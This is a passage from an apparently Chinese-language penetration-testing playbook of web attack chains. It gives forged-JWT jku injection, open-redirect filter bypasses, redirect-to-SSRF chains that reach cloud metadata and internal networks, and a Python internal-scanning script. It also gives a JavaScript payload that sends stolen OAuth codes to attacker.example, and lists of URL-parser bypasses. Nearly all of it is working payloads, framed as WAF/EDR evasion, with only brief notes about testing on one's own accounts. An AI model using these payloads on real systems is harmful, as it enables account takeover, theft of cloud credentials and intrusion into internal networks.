``` **4. 4. 验证攻击** _使用注入了jku的伪造JWT访问管理员接口_ ``` curl -s -H "Authorization: Bearer {FORGED_JWT}" \ "https://{TARGET}/api/admin/users" | jq # 服务端流程: # 1. 解析JWT Header中的jku URL # 2. 从evil.com获取JWKS公钥 # 3. 用攻击者公钥验证签名——通过! # 4. 信任Payload中的admin身份 ``` **WAF/EDR 绕过变体:** **1. JKU URL绕过限制** _利用开放重定向、子域名接管、URL混淆绕过jku域名白名单_ ``` # 开放重定向绕过域名白名单 {"jku": "https://target.com/redirect?url=https://evil.com/jwks.json"} # 子域名接管 {"jku": "https://abandoned.target.com/.well-known/jwks.json"} # URL混淆 {"jku": "https://target.com@evil.com/jwks.json"} {"jku": "https://evil.com#target.com/jwks.json"} {"jku": "https://evil.com/.well-known/jwks.json?.target.com"} ``` --- ### · 开放重定向 ### 基础开放重定向 `redirect-basic` URL跳转漏洞利用 子类:**基础** · tags: `redirect` `url` `phishing` **前置条件:** 目标参数控制跳转地址 **攻击链:** **1. 直接跳转** _直接跳转到攻击者站点_ ``` http://target.com/redirect?url=http://attacker.com ``` **2. 绕过验证** _@符号绕过_ ``` http://target.com/redirect?url=http://attacker.com@target.com ``` **3. 斜杠绕过** _//绕过协议_ ``` http://target.com/redirect?url=//attacker.com ``` **WAF/EDR 绕过变体:** **1. URL编码与双编码绕过** _通过URL编码、双重URL编码、Unicode同形字、CRLF注入等方式绕过跳转目标地址的白名单或黑名单检测_ ``` # URL编码: /redirect?url=%68%74%74%70%3a%2f%2fattacker.com # 双编码: /redirect?url=%2568%2574%2574%2570%253a%252f%252fattacker.com # Unicode编码: /redirect?url=http://attacker。com /redirect?url=http://ⓐttacker.com # CRLF注入: /redirect?url=%0d%0aLocation:%20http://attacker.com ``` **2. 反斜杠与data: URI绕过** _利用反斜杠在不同解析器中的差异行为、data: URI协议、多斜杠协议相对URL等方式绕过域名白名单验证_ ``` # 反斜杠技巧: /redirect?url=http://attacker.com@target.com /redirect?url=//attacker.com /redirect?url=/attacker.com # data: URI: /redirect?url=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg== # 协议相对URL变体: /redirect?url=//attacker.com /redirect?url=///attacker.com /redirect?url=////attacker.com ``` --- ### 重定向绕过 `redirect-bypass` 开放重定向绕过技巧 子类:**Bypass** · tags: `redirect` `bypass` **前置条件:** 存在重定向参数 **攻击链:** **1. URL编码** _使用URL编码_ ``` redirect=http%3a%2f%2fattacker.com ``` **2. @符号** _利用URL认证部分_ ``` redirect=http://target.com@attacker.com ``` **3. 反斜杠** _[windows]_ _使用反斜杠_ ``` redirect=https:/\attacker.com ``` **WAF/EDR 绕过变体:** **1. 反斜杠路径规范化** _利用反斜杠在不同浏览器/服务器中的路径规范化差异绕过重定向域名白名单_ ``` # 反斜杠替代正斜杠 https://target.com/redirect?url=https://evil.com\@target.com https://target.com/redirect?url=https:\\evil.com # 路径穿越绕过域名白名单 https://target.com/redirect?url=https://target.com/..%2f@evil.com https://target.com/redirect?url=//evil.com/%2f..%2f # 协议相对URL https://target.com/redirect?url=//evil.com https://target.com/redirect?url=\\evil.com ``` **2. URL片段与参数注入** _利用URL片段标识符、参数污染和完整URL编码绕过服务端的重定向目标检查_ ``` # 片段标识符混淆 https://target.com/redirect?url=https://target.com#@evil.com https://target.com/redirect?url=https://target.com%23@evil.com # 参数污染 https://target.com/redirect?url=https://target.com&url=https://evil.com https://target.com/redirect?url=https://target.com%26next=evil.com # 编码混淆 https://target.com/redirect?url=https%3a%2f%2fevil.com https://target.com/redirect?url=%68%74%74%70%73%3a%2f%2f%65%76%69%6c%2e%63%6f%6d ``` **3. 空字节与特殊字符截断** _利用空字节截断URL校验、CRLF注入额外头部、特殊空白字符混淆URL解析_ ``` # 空字节截断 https://target.com/redirect?url=https://target.com%00@evil.com https://target.com/redirect?url=https://evil.com%00.target.com # 换行符注入 https://target.com/redirect?url=https://evil.com%0d%0aLocation:%20https://evil.com # Tab/空格混淆 https://target.com/redirect?url=https://evil .com https://target.com/redirect?url=java%09script:alert(1) https://target.com/redirect?url=\x09javascript:alert(1) ``` --- ### 重定向到SSRF `redirect-ssrf` 利用开放重定向漏洞作为跳板将SSRF探测引导到内部网络,绕过SSRF的URL白名单/黑名单限制 子类:**SSRF** · tags: `redirect` `ssrf` **前置条件:** 目标存在开放重定向(Open Redirect)漏洞;目标存在SSRF功能点(URL参数/Webhook等);SSRF过滤仅检查初始URL而不跟踪重定向 **攻击链:** **1. 识别开放重定向点** _[linux]_ _寻找目标站点的开放重定向端点和参数_ ``` # 常见重定向参数: curl -sI "http://target.com/redirect?url=https://evil.com" | grep -i location curl -sI "http://target.com/login?next=https://evil.com" | grep -i location curl -sI "http://target.com/goto?link=https://evil.com" | grep -i location # 批量测试常见参数: for param in url redirect next goto link return returnUrl callback dest destination rurl; do status=$(curl -sI "http://target.com/redirect?${param}=https://evil.com" -o /dev/null -w "%{http_code}") location=$(curl -sI "http://target.com/redirect?${param}=https://evil.com" | grep -i "^location:" | head -1) echo "${param}: HTTP ${status} → ${location}" done ``` **2. 通过重定向绕过SSRF过滤** _[linux]_ _利用目标自身的重定向端点绕过SSRF的域名白名单限制_ ``` # 场景: SSRF接口检查URL域名白名单,但不检查重定向目标 # 正常SSRF请求(被拦截): curl "http://target.com/api/fetch?url=http://169.254.169.254/latest/meta-data/" # → 返回: "Blocked: internal IP" # 通过重定向绕过: # 1. 先确认重定向有效: curl -sI "http://target.com/redirect?url=http://169.254.169.254/latest/meta-data/" # 2. 将重定向URL作为SSRF输入: curl "http://target.com/api/fetch?url=http://target.com/redirect?url=http://169.254.169.254/latest/meta-data/" # → SSRF过滤看到target.com(白名单内),放行 # → 服务端跟随重定向到169.254.169.254 # → 返回AWS元数据 ``` **3. 短链接和DNS重绑定辅助** _使用短链接、自建重定向和DNS重绑定辅助SSRF绕过_ ``` # 如果目标站点没有开放重定向,使用外部服务: # 1. 短链接服务重定向: # 创建短链接指向内部IP: bit.ly/xxxxx → http://192.168.1.1 curl "http://target.com/api/fetch?url=https://bit.ly/xxxxx" # 2. 自建重定向服务器: # Python Flask: # @app.route("/redirect") # def redir(): # return redirect("http://169.254.169.254/latest/meta-data/") curl "http://target.com/api/fetch?url=http://attacker.com/redirect" # 3. DNS重绑定: # 使用rbndr.us等工具,DNS记录在attacker-IP和内部IP之间切换 # 第一次解析: attacker.com → 1.2.3.4 (通过IP检查) # 第二次解析: attacker.com → 169.254.169.254 (实际请求) curl "http://target.com/api/fetch?url=http://a]c0a80101.rbndr.us/" ``` **4. 完整利用链: 重定向→SSRF→内网探测** _利用重定向→SSRF链批量探测内部网络资源_ ``` # 完整攻击链: import requests TARGET = "http://target.com" SSRF_URL = f"{TARGET}/api/fetch?url=" REDIR_URL = f"{TARGET}/redirect?url=" # 通过重定向探测内网: internal_targets = [ "http://169.254.169.254/latest/meta-data/", "http://127.0.0.1:8080/", "http://192.168.1.1/", "http://10.0.0.1/", "http://172.16.0.1/", ] for internal in internal_targets: # 构造: SSRF → 重定向 → 内网目标 payload = f"{SSRF_URL}{REDIR_URL}{internal}" try: r = requests.get(payload, timeout=5) if r.status_code == 200 and len(r.text) > 0: print(f"[+] FOUND: {internal}") print(f" Response: {r.text[:200]}") else: print(f"[-] {internal}: HTTP {r.status_code}") except Exception as e: print(f"[!] {internal}: {e}") ``` **WAF/EDR 绕过变体:** **1. URL解析差异利用** _利用不同URL解析库(cURL/urllib/Java URL)对authority/host部分解析的差异绕过SSRF白名单_ ``` # 利用URL解析库差异 http://evil.com#@target.com http://evil.com\@target.com http://target.com@evil.com # 特殊URL格式 http://evil。com (全角句号) http://ⓔⓥⓘⓛ.com (Unicode圆圈字符) http://evil%E3%80%82com # IPv6地址混淆 http://[::ffff:127.0.0.1] http://[0:0:0:0:0:ffff:127.0.0.1] ``` **2. DNS重绑定攻击** _通过DNS重绑定在URL校验和实际请求之间切换解析结果,绕过SSRF的IP黑名单_ ``` # DNS Rebinding攻击步骤 # 1. 配置DNS服务器交替返回不同IP # evil.com -> 第1次解析: 公网IP(通过校验) # evil.com -> 第2次解析: 127.0.0.1(实际请求) # 使用rbndr.us自动DNS重绑定 http://7f000001.c0a80001.rbndr.us/internal # 使用1u.ms http://make-127.0.0.1-rr.1u.ms/admin # TOCTOU: 检查时域名解析到白名单IP,请求时解析到内网IP ``` **3. IP地址混淆表示** _使用十进制、八进制、十六进制和IPv6映射等不同方式表示内网IP绕过黑名单检查_ ``` # 十进制IP http://2130706433 (= 127.0.0.1) http://3232235777 (= 192.168.1.1) # 八进制IP http://0177.0.0.1 (= 127.0.0.1) http://0x7f.0.0.1 (= 127.0.0.1) # 混合进制 http://0177.0x0.0.1 http://127.1 (省略零段) http://127.0.1 # IPv6映射 http://[::1] http://[::] (= 0.0.0.0) http://[::ffff:7f00:1] ``` ### OAuth 授权码劫持 — 在 redirect_uri 内执行的 JS payload OAuth 中 `redirect_uri` 若允许任意子路径(或 open redirect / XSS 落点),攻击者可在跳转后的页面执行 JS 把 `code` exfil 到自己服务器,完成无感劫持。受害者只看到正常的 OAuth 同意流程。 ```javascript // 在攻击者控制的 redirect_uri 页(或 redirect_uri 域上的 XSS sink)中执行 var urlParams = new URLSearchParams(window.location.search); var capturedCode = urlParams.get('code'); // 也可换成 'access_token' / 'id_token'(fragment 模式) if (capturedCode) { var http = new XMLHttpRequest(); // GET 模式带在 query;实战推荐 fetch + no-cors 或 navigator.sendBeacon 以规避 CSP report-only http.open("GET", "https://attacker.example/log_code.php?code=" + encodeURIComponent(capturedCode), true); http.send(); } // implicit / hybrid flow(token 在 fragment): // var fragParams = new URLSearchParams(window.location.hash.slice(1)); // var token = fragParams.get('access_token') || fragParams.get('id_token'); ``` **何时用**:`redirect_uri` 校验允许 `https://target.com/anywhere` 子路径任意,且子路径有 XSS / 第三方 widget 注入面。证明影响时只对自己控制的两个账号操作,不要诱导真实用户点击。 ### OAuth / redirect_uri URL 解析差异 — 通用绕过库 服务端常用 startsWith / parse_url / regex 比对 redirect_uri,但客户端浏览器解析按 [RFC 3986 + WHATWG URL](https://url.spec.whatwg.org/) 实际跳转,两者解析差异 → 跳转到攻击者域: ```text # 用户态字符歧义(@、./、@host 形式) https://example.com?@www.attacker.com/ https://example.com/@www.attacker.com/ https://www.attacker.com@example.com/ https://www.attacker.com.example.com/ https://example.com?.www.attacker.com/ https://example.com#.www.attacker.com/ https://example.com/.www.attacker.com/ # 双重 URL 嵌套 https://example.com/https://www.attacker.com/ https://example.com%2f@example.com/ # %2f 解码歧义 https://example.com%2f@attacker.com/ # 反斜杠 (`\`) — 部分库视为 path-sep,浏览器视为 host-sep https://example.com\@www.attacker.com/ https://example.com\\@www.attacker.com/ https://www.attacker.com\@example.com/ # 字符集编码绕过(后端做 mb_convert_encoding / iconv 时,%ff / %df 可能消失或合并下一字节) https://example.com%ff@www.attacker.com/ https://example.com%df@www.attacker.com/ # 字符集解码后端样本(PHP): # $url = mb_convert_encoding($_GET['url'], "GBK", "UTF-8"); # %df 在 GBK 下与下一字节合并,host 段被吞掉 ``` **真实命中要点**: - 服务端用 `parse_url` / `urlparse` 取 host 后做白名单比对,但客户端按 WHATWG 实际跳转 → 解析差异 - 服务端做编码转换(GBK / Big5 / Shift-JIS)前先比对 → 解码后 host 改变 - 反斜杠在 Go / Node.js / Python 部分库视为 path 分隔符,浏览器视为 host 分隔符 **报告价值**:从中危(open redirect)升到高危(账号接管)的关键是结合上面 §OAuth 授权码劫持 payload 证明可拿到他人 `code`。仍仅自演,不抓真实用户 code。 ---